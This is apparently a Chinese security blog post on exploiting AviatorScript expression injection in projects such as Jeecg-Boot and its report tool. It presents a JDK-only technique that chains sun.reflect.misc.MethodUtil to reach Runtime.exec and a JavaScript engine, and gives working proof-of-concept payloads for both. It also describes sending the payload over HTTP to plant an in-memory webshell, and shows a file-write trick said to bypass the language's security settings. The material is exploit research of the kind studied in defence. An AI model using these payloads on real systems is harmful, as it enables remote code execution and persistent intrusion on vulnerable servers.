一、背景介绍

AviatorScript 是一门寄生在 JVM(Hosted on the JVM)上的表达式语言,常用于规则计算、条件判断等场景。由于其执行环境与 Java 运行时深度绑定,一旦表达式内容可被外部控制,就可能引入严重的安全风险。

在 Jeecg-Boot 等项目中,历史上曾出现过 AviatorScript 相关漏洞。围绕这些漏洞,社区中也公开了多种利用 PoC。本文将首先分析这些历史 PoC 的利用方式及其局限性,随后引出一种仅依赖 JDK 的新利用思路


二、历史 PoC 利用方式分析

2.1 基于 Spring 生态的利用方式

目前网络上公开的 AviatorScript PoC,大多依赖 Spring 相关组件,其典型特征包括:

  • 使用 org.springframework.util.ClassUtils 获取默认 ClassLoader
  • 使用 org.springframework.util.Base64Utils 解码字节码
  • 使用 org.springframework.cglib.core.ReflectUtils.defineClass 动态定义类

这类 PoC 的核心思路是:

在 AviatorScript 表达式中动态注入并加载恶意字节码,从而触发类初始化逻辑。


2.2 BCEL 相关利用方式

另一类历史 PoC 依赖 JVM 内部的 BCEL 机制,例如:

  • com.sun.org.apache.bcel.internal.util.ClassLoader

通过将字节码编码进类名,实现“类名即字节码”的效果。

这种方式在早期 JDK 中较为流行,但存在以下问题:

  • 对 JDK 版本要求苛刻
  • 在高版本 JDK 中逐渐失效


2.3 历史 PoC 的局限性总结

综合来看,历史 PoC 普遍存在以下局限:

  1. 强依赖 Spring 或特定框架
  2. 对组件版本和 JDK 版本敏感


三、AviatorScript 的表达式调用能力

根据官方文档说明,AviatorScript 的表达式调用规则主要包括:

  1. 使用 new 关键字实例化 Java 对象
  2. 自 5.2.1 版本起,支持使用 Class.Method(args) 语法直接调用 Java 的 public static 方法

文档位置: https://www.yuque.com/boyan-avfmj/aviatorscript/

这些特性决定了 AviatorScript 天然具备与 JVM 深度交互的能力。


四、新的利用思路:仅依赖 JDK 的攻击面

AviatorScript 可以直接调用 Java 的 public static 方法。在这一特性基础上,如果能够找到 JDK 中合适的工具类,就可以进一步扩展表达式语言本身的能力边界。

通过在 JDK 中检索相关类,可以发现 sun.reflect.misc.MethodUtil 这一工具类。该类中提供了大量与反射相关的 public static 方法,其中 invoke 方法尤为关键。

image.png


MethodUtil.invoke 方法概述

MethodUtil.invoke 的核心作用是对反射调用进行封装,其逻辑上需要三个参数:

  1. Method —— 目标方法的反射对象
  2. Object —— 目标方法所属的实例对象
  3. Object[] —— 方法调用时使用的参数数组

只要能够在 AviatorScript 表达式中成功构造这三个参数,就可以通过 MethodUtil.invoke 间接调用任意实例方法。


Method 参数的构造方式

sun.reflect.misc.MethodUtil 中,除了 invoke 方法外,还提供了用于获取 Method 对象的辅助方法,例如 getMethod

image-1.png

getMethod 的作用是:

  • 指定目标类(Class 对象)
  • 指定方法名称
  • 指定方法参数类型列表

即可返回对应的 Method 实例。

由于 AviatorScript 本身支持:

  • Class.forName 获取类对象
  • 基本类型与数组的构造
  • public static 方法的直接调用

因此,在表达式执行阶段,Method 对象本身是可以被完整构造出来的。


目标对象(Object 参数)的来源

invoke 的第二个参数用于指定反射调用的目标对象实例。

在 Java 中,只要能够获取到目标类的实例,即可调用其对应的实例方法。

在 AviatorScript 环境下,实例对象的来源通常包括:

  • 已存在的单例对象
  • 通过静态工厂方法获取的实例
  • 通过 new 关键字创建的对象

这使得 MethodUtil.invoke 在表达式语言中具备了较高的灵活性。


参数数组(Object[])的构造

第三个参数为方法调用时使用的参数数组。

AviatorScript 提供了 tuple / array 等基础构造能力,可以将单个或多个参数封装为对象数组,从而满足反射调用对参数形式的要求。

image-2.png

image-3.png

至此,MethodUtil.invoke 所需的三个参数:

  1. Method
  2. 目标对象
  3. 参数数组

均可以在表达式层面完成构造。


利用思路的关键点总结

从整体利用思路来看,其核心不在于某一个具体 API,而在于以下几点:

  • AviatorScript 允许调用 JDK 的 public static 方法
  • MethodUtil 对反射调用进行了统一封装
  • 反射调用本身可以突破“只能调用静态方法”的限制
  • 整个过程不依赖任何第三方框架

这意味着,即使在不存在 Spring、BCEL 等组件的环境中,只要表达式执行上下文未对 JDK 内部工具类进行限制,仍然可能存在可被利用的攻击面。


基于以上分析我们可以构造出以下POC

use sun.reflect.misc.MethodUtil;

MethodUtil.invoke(MethodUtil.getMethod(Class.forName("java.lang.Runtime"),"exec",seq.array(java.lang.Class,Class.forName("java.lang.String"))),Runtime.getRuntime(),tuple('open /System/Applications/Calculator.app'))

image-6.png

小结

通过 sun.reflect.misc.MethodUtil,可以将 AviatorScript 的能力从:

仅能调用 Java 的 public static 方法

进一步扩展为:

在表达式执行阶段,间接调用任意实例方法,例如直接通过调用ScriptEngineManager执行JS代码,达到注入内存马等操作。

use javax.script.ScriptEngineManager;
use sun.reflect.misc.MethodUtil;
MethodUtil.invoke(MethodUtil.getMethod(Class.forName("javax.script.ScriptEngine"),"eval",seq.array(java.lang.Class,Class.forName("java.lang.String"))),MethodUtil.invoke(MethodUtil.getMethod(Class.forName("javax.script.ScriptEngineManager"),"getEngineByExtension",seq.array(java.lang.Class,Class.forName("java.lang.String"))),new ScriptEngineManager(),tuple("js")),tuple("java.lang.Runtime.getRuntime().exec(\\"open /System/Applications/Calculator.app\\");"));

image-5.png

五、实战

在本地搭建积木报表环境进行测试和验证,具体步骤如下:

生成 JS 类加载器

image-9.png

编码与拼接

  • 将生成的 JS 代码进行 Base64 编码。
  • 按照 POC(概念验证)示例,将编码后的内容拼接成完整 payload。
    image-8.png

发送 payload 与连接内存马

  • 通过 HTTP 请求将拼接好的 payload 发往测试环境。
  • 如果 payload 执行成功,可以在内存中看到远程加载的类,进一步连接内存马进行控制或交互。

image-10.png

六、意外收获

在翻阅AviatorScript文档时,发现AviatorScript提供了一个简单的文件 IO 模块实现,可以直接 require('io') 进来使用。从来达到不引入java层面类进行写入文件操作。使用这种方式写入文件在一定情况下可以绕过AviatorScript的一些安全配置。

image-4.png

let io = require('io');

let file = io.file("/tmp/aviator\_test.jsp");

io.spit(file, "Hello world\\r\\nAviator is great!");

image-7.png

标签: none

添加新评论